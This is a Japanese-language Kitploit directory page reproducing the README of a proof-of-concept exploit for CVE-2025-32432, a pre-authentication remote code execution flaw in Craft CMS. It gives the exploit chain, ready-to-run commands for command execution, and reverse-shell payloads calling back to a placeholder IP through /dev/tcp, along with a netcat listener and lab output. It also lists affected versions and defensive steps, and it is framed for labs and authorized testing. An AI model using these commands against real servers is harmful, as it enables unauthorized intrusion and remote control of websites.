Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-32432-POC | Kitploit
ツール/GitHubGitHub/theeomega/cve-2025-32432-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育レッドチーミング
GitHubtheeomega/cve-2025-32432-poc

CVE-2025-32432-POC

リポジトリを見る
28日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Craft CMS CVE-2025-32432 シングルターゲットPoC

許可されたテストのみ。 このリポジトリは、管理されたラボ環境、Hack The Box などのCTFプラットフォーム、内部検証、および防御的検証を目的としています。所有していないシステム、または明示的なテスト許可を得ていないシステムに対して実行しないでください。

概要

このプロジェクトには、認証前のCraft CMSリモートコード実行の問題である CVE-2025-32432 のシングルターゲット概念実証(PoC)が含まれています。

このPoCは2つの段階で動作します:

  1. 脆弱性の確認 — Craft CMSのアセット変換生成エンドポイントを介した phpinfo() ガジェットを使用。
  2. 任意のコマンド実行 — 2段階のセッションファイルインクルードチェーンを使用。

このスクリプトは、一部の公開PoCに見られる一般的な偽陰性(false-negative)問題を回避するように設計されています。通常の画像変換リクエストは 404 を返すことがありますが、同じエンドポイントと assetId は実際のガジェットペイロードを使用した場合には依然として機能します。

影響を受けるバージョン

公式のCraft CMSアドバイザリおよび公開アドバイザリデータベースによると、影響を受ける範囲は次のとおりです:

Craft CMS ブランチ影響を受けるバージョン修正バージョン
3.x< 3.9.153.9.15
4.x< 4.14.154.14.15
5.x< 5.6.175.6.17

Craft CMSのデプロイメントを管理している場合は、直ちに修正リリースへアップグレードしてください。

技術概要

このPoCは次のフローに従います:

root@kitploit:~
Get CSRF token
      |
      v
Test endpoint + assetId with phpinfo gadget
      |
      v
Confirm vulnerable response contains PHP Version / PHP License
      |
      v
Poison Craft session return URL with PHP payload
      |
      v
Trigger yii\rbac\PhpManager to include the PHP session file
      |
      v
Execute optional command

重要な実装の詳細:

  • 検出には phpinfoガジェット を使用します。通常の変換リクエストは使用しません。
  • コマンドは 16進数(hex) として渡され、スペース、引用符、パイプ、アンパサンドによるクエリ文字列の破損を回避します。
  • テストされるデフォルトのPHPセッションディレクトリは次のとおりです:
    • /var/lib/php/sessions
    • /var/lib/php/session
    • /tmp
  • リバースシェルシナリオ向けに --timeout オプションが含まれています。

ファイル

root@kitploit:~
craftcms_cve_2025_32432_public_poc.py   Main single-target PoC
README.md                               Project documentation

要件

  • Python 3.9+
  • requests
  • urllib3

依存関係をインストール:

root@kitploit:~
python3 -m pip install requests urllib3

使用方法

1. 確認のみモード

これはphpinfoガジェットのみを使用して脆弱性を確認します。

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py -u http://target.local

成功時に期待される出力:

root@kitploit:~
[+] phpinfo triggered
[+] Working endpoint: http://target.local/index.php?p=admin/actions/assets/generate-transform
[+] Working assetId: 0
[+] Vulnerability confirmed by phpinfo gadget
[*] Check-only mode. Use -c 'id' to run a command.

phpinfoレスポンスは次のファイルに保存されます:

root@kitploit:~
phpinfo_success.html

2. 単純なコマンドを実行

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py -u http://target.local -c "id"

成功時の出力例:

root@kitploit:~
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

3. 既知のエンドポイントとアセットIDを使用する

動作する値がすでに分かっている場合に使用します。

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  -c "id" \
  -a 0 \
  --endpoint "http://target.local/index.php?p=admin/actions/assets/generate-transform" \
  --session-dir /var/lib/php/sessions

4. カスタムフロントコントローラ

一部のターゲットは x.php などのカスタムフロントコントローラを使用する場合があります。

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  --front x.php \
  -c "id"

これにより、次のようなルートがテストされます:

root@kitploit:~
http://target.local/x.php?p=admin/actions/assets/generate-transform

5. リバースシェルの使用

先にリスナーを起動します:

root@kitploit:~
rlwrap -cAr nc -lvnp 12345

次に、リバースシェルコマンドを指定してPoCを実行します:

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  -c "bash -lc 'bash -i >& /dev/tcp/YOUR_VPN_IP/12345 0>&1'" \
  --timeout 0

--timeout 0 はリクエストタイムアウトを無効にします。リバースシェルはHTTPリクエストを開いたままにすることが多いため、これは便利です。

分離型バリアント:

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  -c "bash -lc 'setsid bash -c \"bash -i >& /dev/tcp/YOUR_VPN_IP/12345 0>&1\" >/dev/null 2>&1 &'" \
  --timeout 0

オプション

トラブルシューティング

通常スキャン中に assetId 0 -> HTTP 404

検出を通常の変換リクエストに依存しないでください。一部のターゲットは通常の変換ボディに対して 404 を返しますが、それでもガジェットペイロードは実行されます。

このPoCは、phpinfoガジェット自体を使用して有効な組み合わせを検出します。

phpinfoは機能するが、コマンド実行が失敗する

セッションディレクトリを手動で指定してみてください:

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  -c "id" \
  --session-dir /var/lib/php/sessions

次に試す:

root@kitploit:~
--session-dir /var/lib/php/session

または:

root@kitploit:~
--session-dir /tmp

リバースシェルが接続された後、すぐに切断される

次のいずれかの方法を使用してください:

  1. リクエストタイムアウトを無効にする:
root@kitploit:~
--timeout 0
  1. setsid または nohup を使用した分離ペイロードを使用する。

  2. コールバックIPが正しいことを確認する:

root@kitploit:~
ip -br a | grep tun

リバースシェル中の読み取りタイムアウト

リバースシェルが正常に接続された場合、これは正常な動作である可能性があります。タイムアウトを失敗と判断する前にリスナーを確認してください。

コマンド出力がない

まずより単純なコマンドを試してください:

root@kitploit:~
-c "id"
-c "whoami"
-c "pwd"

単純なコマンドは機能するが複雑なコマンドが失敗する場合は、コマンドを慎重に引用符で囲むか、分離シェルペイロードを使用してください。

ラボ出力例

root@kitploit:~
[*] Target: http://orion.htb
[*] Front controller: index.php
[+] CSRF token found via http://orion.htb/index.php?p=admin/dashboard
[*] Testing endpoint: http://orion.htb/index.php?p=admin/actions/assets/generate-transform
    assetId 0 -> HTTP 200
[+] phpinfo triggered
[+] Working endpoint: http://orion.htb/index.php?p=admin/actions/assets/generate-transform
[+] Working assetId: 0
[+] Vulnerability confirmed by phpinfo gadget
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

防御の指針

Craft CMSインスタンスを管理している場合:

  1. Craft CMS 3.9.15、4.14.15、5.6.17 以降へアップグレードする。
  2. Webルートに疑わしいPHPファイルやWebシェルがないか確認する。
  3. PHPセッションディレクトリとWebサーバーログで、アセット変換ルートへの不審なリクエストを確認する。
  4. 悪用が疑われる場合は、.env のシークレットとデータベース認証情報をローテーションする。
  5. 可能であれば、管理ルートへのパブリックアクセスを制限する。
  6. 侵害が疑われる期間のサーバーファイルシステムのタイムスタンプを確認する。

参考文献

  • Craft CMS公式アドバイザリ: https://craftcms.com/knowledge-base/craft-cms-cve-2025-32432
  • GitHub Advisory Database: https://github.com/advisories/GHSA-f3gw-9ww9-jmc3
  • NVDエントリ: https://nvd.nist.gov/vuln/detail/CVE-2025-32432
  • SensePostの技術分析: https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/

免責事項

このプロジェクトは、教育、研究、ラボ、および防御的検証の目的でのみ提供されます。作者は誤用について責任を負いません。所有しているシステム、または明示的な書面による評価許可を得たシステムのみをテストしてください。

ツールをダウンロード
オプション説明デフォルト
-u, --urlターゲットのベースURL必須
-c, --cmdphpinfo確認後に実行する任意のコマンドなし
--frontフロントコントローラのファイル名index.php
-s, --scan-maxphpinfoガジェットでテストする最大 assetId50
-a, --asset動作確認済みのアセットIDなし
--endpoint動作確認済みのgenerate-transformエンドポイントなし
--session-dirPHPセッションディレクトリ。複数回指定可能組み込みリスト
--timeoutコマンドトリガーのリクエストタイムアウト。タイムアウトなしの場合は 0 を使用20